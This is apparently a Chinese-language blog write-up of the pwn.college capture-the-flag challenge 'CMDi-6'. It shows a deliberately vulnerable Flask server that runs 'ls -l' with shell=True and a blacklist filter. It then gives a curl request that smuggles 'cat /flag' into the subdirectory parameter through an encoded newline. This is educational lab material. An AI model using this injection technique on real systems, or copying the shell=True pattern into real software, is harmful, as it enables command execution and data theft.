CMDi-6

题目简介

/challenge目录下面有一个python写的server脚本,运行它会在本机的80端口开放一个http服务。这个命令接收GET方法传参,并且以该参数执行ls命令

我们需要做的就是想办法在ls之后让服务器的shell再执行我们想要的命令,即连续执行

漏洞点与难点分析

首先观察server脚本的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
arg = (
flask.request.args.get("subdirectory", "/challenge")
.replace(";", "")
.replace("&", "")
.replace("|", "")
.replace(">", "")
.replace("<", "")
.replace("(", "")
.replace(")", "")
.replace("`", "")
.replace("$", "")
)
command = f"ls -l {arg}"

print(f"DEBUG: {command=}")
result = subprocess.run(
command, # the command to run
shell=True, # use the shell to run this command
stdout=subprocess.PIPE, # capture the standard output
stderr=subprocess.STDOUT, # 2>&1
encoding="latin", # capture the resulting output as text
).stdout

发现常见的命令连接符都被过滤了,但是仔细观察发现换行符是漏网之鱼,而在Linux中,换行符也可以起到连续执行命令的效果

漏洞利用过程

经过上述分析,直接使用curl工具完成漏洞利用:

1
curl "http://challenge.localhost:80/trial?subdirectory=/challenge%0acat%20/flag"

成功得到包含flag的响应体:


CMDi-6
http://0x4a-210.github.io/2025/07/14/pwn.college/Intro-to-Cybersecurity/Web/CMDi-6/
Posted on
July 14, 2025
Licensed under